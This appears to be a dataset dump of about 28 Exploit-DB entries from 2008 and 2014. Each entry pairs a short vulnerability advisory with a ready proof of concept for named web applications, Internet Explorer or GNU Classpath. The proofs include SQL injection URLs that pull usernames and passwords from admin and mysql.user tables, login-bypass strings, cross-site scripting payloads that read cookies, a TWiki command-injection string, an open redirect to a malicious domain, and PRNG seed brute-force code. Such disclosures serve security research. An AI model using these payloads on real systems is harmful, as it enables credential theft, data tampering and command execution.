QLWD/code_shield huggingface dataset:
标题: ASP-DEV XM Events Diary - 'cat' SQL Injection EDB-ID: 32658 CVE: 2008-5923 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/32809/info

ASP-DEV XM Events Diary is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[path]/default.asp?cat=[SQL] URL: https://www.exploit-db.com/exploits/32658
标题: GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1) EDB-ID: 32673 CVE: 2008-5659 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/32909/info

GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.

Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.

Classpath 0.97.2 is vulnerable; other versions may also be affected. 

import gnu.java.security.util.PRNG;

class PRNGTest {
   public static void main(String args[])
      {
      long t = System.currentTimeMillis();

      System.out.println("Time in ms is " + t);

      PRNG prng = PRNG.getInstance();

      byte buffer[] = new byte[40];

      prng.nextBytes(buffer, 0, buffer.length);

      for(int i = 0; i != buffer.length; ++i)
         {
         // There must be an easier way to do this (right?)
         int intval = buffer[i];

         if(intval <= 0)
            intval += 256;

         String s = Integer.toHexString(intval);

         if(s.length() == 1)
            s = "0" + s;

         System.out.print(s);
         }
      System.out.println("");
      }
   }; URL: https://www.exploit-db.com/exploits/32673
标题: PHPcksec 0.2 - 'PHPcksec.php' Cross-Site Scripting EDB-ID: 32669 CVE: 2008-6609 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/32890/info

The 'phpcksec' script is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

This issue affects phpcksec 0.2.0; other versions may also be affected.


http://www.example.com/path/phpcksec.php?path=>\'><ScRiPt >alert(0);</ScRiPt> URL: https://www.exploit-db.com/exploits/32669
标题: Easysitenetwork Jokes Complete Website - 'joke.php' SQL Injection EDB-ID: 32672 CVE: 2008-6880 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/32908/info

EasySiteNetwork Jokes Complete Website is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/joke.php?id=-1992+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8+from+admin_login-- URL: https://www.exploit-db.com/exploits/32672
标题: Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unvalidated Redirects EDB-ID: 32670 CVE: 2014-2880 类型: WEBAPPS 平台: PHP 发布日期: 2014-04-03 漏洞利用脚本: Unvalidated Redirects on Oracle Identity Manager
=======================================================================

[ADVISORY INFORMATION]
Title:      Unvalidated Redirects on Oracle Identity Manager
Discovery date:  10/12/2013
Release date:    03/04/2014
Vendor Homepage:  www.oracle.com
Version:  Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0)
Credits:         Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
 
[VULNERABILITY INFORMATION]
Class:            Unvalidated Redirects
Category:  Web

AFFECTED PRODUCTS]
This security vulnerability affects:

 * Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0)

[VULNERABILITY DETAILS]

Sending to a legitimate user the following request:

https://trusteddomainname/identity/faces/firstlogin?action=changepwd&backUrl=https://myevildomain/

it is possible, after the password change procedure, to redirect the user to a malicious domain.

Attacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. So such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. 
 
[DISCLOSURE TIME-LINE]
    * 10/12/2013 - Initial vendor contact.
 
    * 11/12/2013 - Oracle confirmed the issue is a new security vulnerability.
 
    * 03/04/2014 - Oracle hasn't fixed this vulnerability yet.
 
    * 03/04/2014 - Public disclosure.
 
[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice. URL: https://www.exploit-db.com/exploits/32670
标题: Injader 2.1.1 - SQL Injection / HTML Injection EDB-ID: 32663 CVE: 2008-5891 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/32843/info

Injader is prone to multiple HTML-injection vulnerabilities and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Injader 2.1.2 are vulnerable. 

http://www.example.com/upload/feeds.php?name=articles&id=<SQL> URL: https://www.exploit-db.com/exploits/32663
标题: GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2) EDB-ID: 32674 CVE: 2008-5659 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/32909/info
 
GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.
 
Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.
 
Classpath 0.97.2 is vulnerable; other versions may also be affected. 

#include <botan/init.h>
#include <botan/sha160.h>
#include <botan/loadstor.h>
using namespace Botan;

#include <cstdlib>
#include <ctime>

int main(int argc, char* argv[])
   {
   Botan::LibraryInitializer init;

   // by default start with a guess of 1 minute ago
   u64bit time_guess = (std::time(0) - 60);
   time_guess *= 1000; // convert to ms
   u32bit how_many = 60000; // 60 second range by default

   if(argc >= 2)
      how_many = std::atoi(argv[1]);
   if(argc >= 3)
      time_guess = std::atoi(argv[2]);

   //printf("Starting from %lld up to %d\n", time_guess, how_many);

   SHA_160 sha;

   byte buf[8], hash[40];

   for(u32bit i = 0; i != how_many; ++i)
      {
      Botan::store_be(time_guess, buf);

      // First block
      sha.update(buf, sizeof(buf));
      sha.final(hash);

      sha.update(buf, sizeof(buf));
      sha.update(hash, 20); // previous output
      sha.final(hash + 20);
      /*
      printf("seed=%lld hash=", time_guess);
      for(u32bit j = 0; j != sizeof(hash); ++j)
         printf("%02X", hash[j]);
      printf("\n");
      */
      ++time_guess; // move to next ms
      }
   } URL: https://www.exploit-db.com/exploits/32674
标题: Professional Download Assistant 0.1 - SQL Injection EDB-ID: 32653 CVE: 2008-5571 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/32706/info

Professional Download Assistant is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Professional Download Assistant 0.1 is vulnerable; other versions may be affected as well. 

The following example is available:

user: ZoRLu
password: ' or ' URL: https://www.exploit-db.com/exploits/32653
标题: Multiple Ad Server Solutions Products - 'logon_processing.jsp' SQL Injection EDB-ID: 32655 CVE: 2008-6366 2008-6365 类型: WEBAPPS 平台: JSP 发布日期: 2008-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/32782/info

Multiple Ad Server Solutions products are prone to SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following Ad Server Solutions products are vulnerable:

Ad Management Software
Affiliate Software 

The following example data is available:

username: r0' or ' 1=1--
password: r0' or ' 1=1-- URL: https://www.exploit-db.com/exploits/32655
标题: PHPepperShop 1.4 - 'shop/Admin/shop_kunden_mgmt.php' Cross-Site Scripting EDB-ID: 32651 CVE: 2008-5569 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32690/info
  
PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/Audit/Commerce/HackMe/shop/Admin/shop_kunden_mgmt.php/%22%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/32651
标题: Microsoft Internet Explorer 8 - CSS 'expression' Property Cross-Site Scripting Filter Bypass EDB-ID: 32654 CVE: 2008-5551 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/32780/info

Microsoft Internet Explorer is a web browser for the Microsoft Windows operating system.

Internet Explorer 8 includes a cross-site-scripting filter that is designed to prevent cross-site-scripting attacks against vulnerable web applications. Attackers may be able to bypass this filter under certain conditions, such as by taking advantage of an existing vulnerability in a web application.

Internet Explorer 8 beta 2 is vulnerable. 

} BODY{a:expression(alert(&#039;hi&#039;))};</style>***<style>*** URL: https://www.exploit-db.com/exploits/32654
标题: PHPepperShop 1.4 - 'index.php' Cross-Site Scripting EDB-ID: 32649 CVE: 2008-5569 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32690/info

PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/%22%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/32649
标题: PHPSTREET WebBoard 1.0 - 'show.php' SQL Injection EDB-ID: 32642 CVE: 2008-5955 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/32635/info

PHPSTREET Webboard is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user URL: https://www.exploit-db.com/exploits/32642
标题: PrestaShop 1.1 - 'order.php?PATH_INFO' Cross-Site Scripting EDB-ID: 32648 CVE: 2008-6503 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32689/info
 
PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PrestaShop 1.1 beta 3 is vulnerable; other versions may also be affected. 

http://www.example.com/prestashop_1.1.0.3/order.php/%22%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/32648
标题: TWiki 4.x - 'URLPARAM' Cross-Site Scripting EDB-ID: 32646 CVE: 2008-5304 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/32669/info

TWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

An HTML form field must exist containing an input value with specifying an encoding. As an example:

<input type="text" name="city" value="%URLPARAM{ "city" }%" />

THe following examples will then demonstrate this issue:

http://example.com/twiki/view/TWiki/WebSearch?search=%27a%20onmouseover=alert(document.cookie)%20%27

http://example.com/twiki/view/TWiki/ResetPassword?username="<script language=Javascript>alert('3y3 0wn j00 TWIKI')</script> URL: https://www.exploit-db.com/exploits/32646
标题: TWiki 4.x - 'SEARCH' Remote Command Execution EDB-ID: 32645 CVE: 2008-5305 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/32668/info

TWiki is prone to a vulnerability that attackers can leverage to execute arbitrary commands in the context of the application. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer. 

Enter the following in the application's search box:
%SEARCH{ date="P`pr -?`" search="xyzzy" }%

http://www.example.com/twiki/bin/view/Main/WebSearch?search=%25SEARCH%7Bdate%3D%22P%60pr+-%3F%60%22+search%3D%22xyzzy%22%7D%25&scope=all URL: https://www.exploit-db.com/exploits/32645
标题: PrestaShop 1.1 - '/admin/login.php?PATH_INFO' Cross-Site Scripting EDB-ID: 32647 CVE: 2008-6503 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32689/info

PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PrestaShop 1.1 beta 3 is vulnerable; other versions may also be affected. 

http://www.example.com/prestashop_1.1.0.3/admin/login.php/%22%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/32647
标题: PHPepperShop 1.4 - 'shop/Admin/SHOP_KONFIGURATION.php' Cross-Site Scripting EDB-ID: 32652 CVE: 2008-5569 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32690/info
   
PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/Audit/Commerce/HackMe/shop/Admin/SHOP_KONFIGURATION.php/"<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32652
标题: PHPepperShop 1.4 - 'shop/kontakt.php' Cross-Site Scripting EDB-ID: 32650 CVE: 2008-5569 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32690/info
 
PhPepperShop is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PhPepperShop 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/shop/kontakt.php/&#039;<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32650
标题: Octeth Oempro 3.5.5 - Multiple SQL Injections EDB-ID: 32656 CVE: 2008-3058 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32784/info

Octeth Oempro is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Octeth Oempro 3.5.5.1 is vulnerable; other versions may also be affected.

The following example input data is available:

Email: ' or 0=0 #
Password: password URL: https://www.exploit-db.com/exploits/32656
标题: Jbook - SQL Injection EDB-ID: 32635 CVE: 2008-6391 2008-6376 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32599/info

Jbook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example input is available:

User:admin
pass:' or ' URL: https://www.exploit-db.com/exploits/32635
标题: RevSense 1.0 - SQL Injection / Cross-Site Scripting EDB-ID: 32641 CVE: 2008-6385 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/32624/info

RevSense is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RevSense 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/?f%5Bemail%5D=test@mail.com&f%5Bpassword%5D=\"&section=user&action=login
http://www.example.com/?section=<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&action=login&t=Pouya
http://www.example.com/index.php?section=<script>alert(1369)</script>&action=login URL: https://www.exploit-db.com/exploits/32641
标题: Z1Exchange 1.0 - 'id' SQL Injection EDB-ID: 32633 CVE: 2008-6392 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32598/info

Z1Exchange is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Z1Exchange 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/showads.php?id=[SQL] URL: https://www.exploit-db.com/exploits/32633
标题: Yappa-ng - 'index.php?album' Cross-Site Scripting EDB-ID: 32639 CVE: 2008-6495 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/32623/info

The 'yappa-ng' program is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[Path]/index.php?album=%00'"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&adminlogin=Pouya_Server URL: https://www.exploit-db.com/exploits/32639
标题: Orkut Clone - 'profile_social.php?id' SQL Injection EDB-ID: 32636 CVE: 2008-5970 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32600/info

Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/orkutclone/profile_social.php?id=[sql query] URL: https://www.exploit-db.com/exploits/32636
标题: Pre ASP Job Board - 'emp_login.asp' Cross-Site Scripting EDB-ID: 32630 CVE: 2008-6847 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32572/info

Pre ASP Job Board is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/[Path]/Employee/emp_login.asp?msg=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%281369%29%3B%22%3E URL: https://www.exploit-db.com/exploits/32630
标题: ASP Forum Script - 'new_message.asp?forum_id' Cross-Site Scripting EDB-ID: 32627 CVE: 2008-6891 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32571/info
 
ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/[Path]/new_message.asp?topic_id=0&amp;message_id=0&amp;forum_id=&lt;meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'&gt; URL: https://www.exploit-db.com/exploits/32627
标题: ASP Forum Script - 'messages.asp?forum_id' Cross-Site Scripting EDB-ID: 32628 CVE: 2008-6891 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32571/info
  
ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/[Path]/messages.asp?forum_id=>'><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&message_id=197 URL: https://www.exploit-db.com/exploits/32628